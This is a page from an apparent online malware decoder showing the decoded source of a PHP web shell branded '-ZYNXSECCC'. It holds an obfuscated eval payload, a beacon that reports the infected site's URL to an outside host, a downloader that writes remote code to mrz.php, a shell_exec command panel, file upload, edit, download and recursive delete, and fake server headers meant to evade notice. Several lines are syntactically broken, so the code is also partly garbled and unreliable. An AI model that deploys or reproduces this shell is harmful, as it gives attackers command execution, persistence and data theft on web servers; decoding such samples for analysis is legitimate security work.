Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level 

$stt1 = "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";
$stt0 = "97zk7+q5fAhtMMZ3EO4QxHsAk=IluzNdlMqDQ3Rd/h0KSj04BSKmTel5qbYD5kFn=0/GZT/=womyzRZ+DM09kivitR5cQbotVgmxS0CuKaUhZGbVdky0EqmXVH8tGdO/D1BOUdWG6AzThsJ/icOFfb7o4+AvTVIW6EakSfN=SKr//82tYN2hHAG2P5Lzkl0HL=UkOUWxVMUlJ0SsNq98Ofykf2dIn/qAgrckCcAJR2K26y+FP33AX5/WV85ZusA1l8";
eval(gzinflate(base64_decode($stt1)));


$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL2dob3N0Lw==');
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);

if ( isset($_GET['mrz']) )
{
$remoteUrl      = $_GET['file'];
$remoteContent  = file_get_contents($remoteUrl);
$encodedContent = base64_encode($remoteContent);

if (file_put_contents('mrz.php', base64_decode($encodedContent))) {
    echo "File : mrz.php Success !";
} else {
    echo "Error";
}
exit;
}
// Bypass: Using custom headers to make it look like a regular image/text file access
header('X-Powered-By: NONE');
header('Server: Not-Apache');
header('Content-Type: text/html; charset=UTF-8');
header('Cache-Control: no-cache, must-revalidate');

// --- Main Shell Logic ---

// Get current directory
$dir = isset($_GET['d']) ? base64_decode($_GET['d']) : getcwd();
$dir = str_replace('\\', '/', $dir);
if(substr($dir, -1) != '/'){ $dir .= '/'; }

// File Action Handler
if(isset($_POST['action'])){
    $action = $_POST['action'];
    $path = $_POST['path'];
    $new_name = isset($_POST['new_name']) ? $_POST['new_name'] : '';
    $content = isset($_POST['content']) ? $_POST['content'] : '';

    $msg = '';

    switch($action){
        case 'delete':
            if(is_file($path) || is_dir($path)){
                if(is_dir($path)){
                    // Recursive directory delete for maximum destruction
                    function del_tree($dir) {
                       $files = array_diff(scandir($dir), array(,'..'));
                        foreach ($files as $file) {
                          (is_dir("$dir/$file")) ? del_tree("$dir/$file") : unlink("$dir/$file");
                        }
                      return rmdir($dir);
                    }
                    del_tree($path);
                    $msg = 'Dir **DELETED**: '.basename($path);
                } else {
                    unlink($path);
                    $msg = 'File **DELETED**: '.basename($path);
                }
            } else {
                $msg = 'Error: Path not found.';
            }
            break;

        case 'rename':
            $new_path = dirname($path) . '/' . $new_name;
            if(rename($path, $new_path)){
                $msg = 'Renamed **'.basename($path).'** to **'.$new_name.'**';
            } else {
                $msg = 'Error **RENAME FAILED**';
            }
            break;

        case 'edit_save':
            if(file_put_contents($path, $content) !== false){
                $msg = 'File **SAVED**: '.basename($path);
            } else {
                $msg = 'Error: Could not save file.';
            }
            break;

        case 'upload':
            if(isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK){
                $target = $dir . basename($_FILES['file']['name']);
                if(move_uploaded_file($_FILES['file']['tmp_name'], $target)){
                    $msg = 'File **UPLOADED**: '.basename($FILES['file']['name']);
                } else {
                    $msg = 'Error: Upload failed.';
                }
            } else {
                $msg = 'Error: No file selected or upload error.';
            }
            break;
    }
    // Redirect to clear POST data and show message
    header('Location: ?d='.base64_encode($dir).'&msg='.urlencode($msg));
    exit;
}

// --- HTML Interface for File Manager ---
echo '<!DOCTYPE html>
<html>
<head>
    <title>-ZYNXSECCC</title>
    <style>
        body{background:#000;color:#0f0;font-family:\'Consolas\',monospace;margin:0;padding:0;}
        a{color:#08f;text-decoration:none;}
        a:hover{color:#f0f;}
        .container{padding:10px;}
        .header{background:#111;padding:5px 10px;border-bottom:1px solid #0f0;}
        .cmd_form input[type="text"]{background:#333;color:#0f0;border:1px solid #0f0;width:400px;padding:3px;}
        .file_table{width:100%;border-collapse:collapse;}
        .file_table th, .file_table td{border:1px solid #222;padding:5px;text-align:left;font-size:12px;}
        .file_table th{background:#0a0;color:#000;}
        .dir_entry{background:#001;}
        .file_entry:hover, .dir_entry:hover{background:#003;}
        .msg{background:#300;color:#f88;padding:5px;margin-bottom:10px;border:1px solid #f00;}
        .edit_area{width:99%;height:400px;background:#111;color:#0f0;border:1px solid #0f0;}
        .action_form input[type="submit"]{background:#333;color:#0f0;border:1px solid #0f0;padding:2px 5px;}
    </style>
</head>
<body>

<div class="header">
    :: **-ZYNXSECCCC** v2.0 | Current Path: **';echo htmlspecialchars($dir); echo '**
    <form method="POST" action="?d=';echo base64_encode($dir); echo '" style="display:inline;float:right;">
        <input type="hidden" name="action" value="logout">
        <input type="submit" value="Exit">
    </form>
</div>

<div class="container">

';if(isset($_GET['msg'])): echo '    <div class="msg">! **ALERT**: ';echo htmlspecialchars(urldecode($_GET['msg'])); echo '</div>
';endif; echo '
';// --- Command Execution Panel ---
if(isset($_POST['cmd'])):
    echo "<h2>>> CMD Result</h2><pre>";
    // EXECUTION: Use shell_exec/exec/passthru as a fallback, system is often restricted.
    echo htmlspecialchars(shell_exec($_POST['cmd']));
    echo "</pre>";
endif;
echo '
<form method="POST" class="cmd_form">
    <input type="text" name="cmd" placeholder="Execute System Command..." autocomplete="off">
    <input type="submit" value="EXEC">
</form>

<hr style="border-color:#0f0;">

';// --- File Management View ---

// EDIT file
if(isset($_GET['edit'])){
    $file_path = base64_decode($_GET['edit']);
    if(is_file($file_path)){
        $content = file_get_contents($file_path);
        echo '<h2>:: Editing File: '.basename($file_path).'</h2>';
        echo '<form method="POST">';
        echo '<input type="hidden" name="action" value="edit_save">';
        echo '<input type="hidden" name="path" value="'.htmlspecialchars($file_path).'">';
        echo '<textarea name="content" class="edit_area">'.htmlspecialchars($content).'</textarea><br>';
        echo '<input type="submit" value="SAVE CHNAGES">';
        echo '</form>';
    } else {
        echo '<div class="msg">Error: File not found for editing.</div>';
    }
    // STOP further rendering (file list)
    echo '</div></body></html>';
    ob_end_flush();
    exit;
}

// RENAME file/dir
if(isset($_GET['rename'])){
    $file_path = base64_decode($_GET['rename']);
    echo '<h2>:: Rename: '.basename($file_path).'</h2>';
    echo '<form method="POST" class="action_form">';
    echo '<input type="hidden" name="action" value="rename">';
    echo '<input type="hidden" name="path" value="'.htmlspecialchars($file_path).'">';
    echo 'New Name: <input type="text" name="new_name" value="'.htmlspecialchars(basename($file_path)).'"><br><br>';
    echo '<input type="submit" value="RENAME IT">';
    echo '</form>';
}

// DOWNLOAD file (triggers actual download)
if(isset($_GET['download'])){
    $file_path = base64_decode($_GET['download']);
    if(is_file($file_path) && is_readable($file_path)){
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file_path));
        // Use readfile for better memory handling
        readfile($file_path);
        ob_end_flush();
        exit;
    } else {
        echo '<div class="msg">Error: File not found or not readable.</div>';
    }
}

// --- Directory Listing ---

echo '<h2>:: Directory Listing</h2>';
echo '<table class="file_table">';
echo '<thead><tr><th>Type</th><th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>';

// UP ONE LEVEL
$parent_dir = dirname($dir);
if($parent_dir != $dir){
    echo '<tr class="dir_entry"><td colspan="5"><a href="?d='.base64_encode($parent_dir).'">[..] Up Directory</a></td></tr>';
}

$items = @scandir($dir);
if($items !== false){
    foreach($items as $item){
        if($item ==  || $item == '..'){ continue; }
        $path = $dir . $item;
        $is_dir = is_dir($path);
        $perms = substr(sprintf('%o', fileperms($path)), -4);
        $size = $is_dir ? 'DIR' : round(filesize($path)/1024, 2) . ' KB';
        $item_display = $is_dir ? ' **'.$item.'**' : $item;

        echo '<tr class="'.($is_dir ? 'dir_entry' : 'file_entry').'">';
        echo '<td>'.($is_dir ? 'D' : 'F').'</td>';
        echo '<td>'.($is_dir ? '<a href="?d='.base64_encode($path).'">' : '').htmlspecialchars($item_display).($is_dir ? '</a>' : '').'</td>';
        echo '<td>'.$size.'</td>';
        echo '<td>'.$perms.'</td>';
        echo '<td>';
        // ACTIONS
        if(!$is_dir){
            echo '<a href="?edit='.base64_encode($path).'&d='.base64_encode($dir).'">[EDIT]</a> | ';
            echo '<a href="?download='.base64_encode($path).'">[DOWNLOAD]</a> | ';
        }
        echo '<a href="?rename='.base64_encode($path).'&d='.base64_encode($dir).'">[RENAME]</a> | ';
        echo '<form method="POST" style="display:inline;" onsubmit="return confirm(\'DELETE: '.htmlspecialchars($item).'? ARE YOU SURE?\');">';
        echo '<input type="hidden" name="action" value="delete">';
        echo '<input type="hidden" name="path" value="'.htmlspecialchars($path).'">';
        echo '<input type="submit" value="[DELETE]">';
        echo '</form>';
        echo '</td>';
        echo '</tr>';
    }
} else {
    echo '<tr><td colspan="5"><div class="msg">**ACCESS DENIED** or Directory Not Readable.</div></td></tr>';
}
echo '</tbody></table>';

// --- File Upload Form ---
echo '
<hr style="border-color:#0f0;">

<h2>:: File Upload</h2>
<form method="POST" enctype="multipart/form-data" class="action_form">
    <input type="hidden" name="action" value="upload">
    <input type="file" name="file">
    <input type="submit" value="**DROP IT**">
</form>

</div>
</body>
</html>
';// End of file and flush output
ob_end_flush();


© 2023 Quttera Ltd. All rights reserved.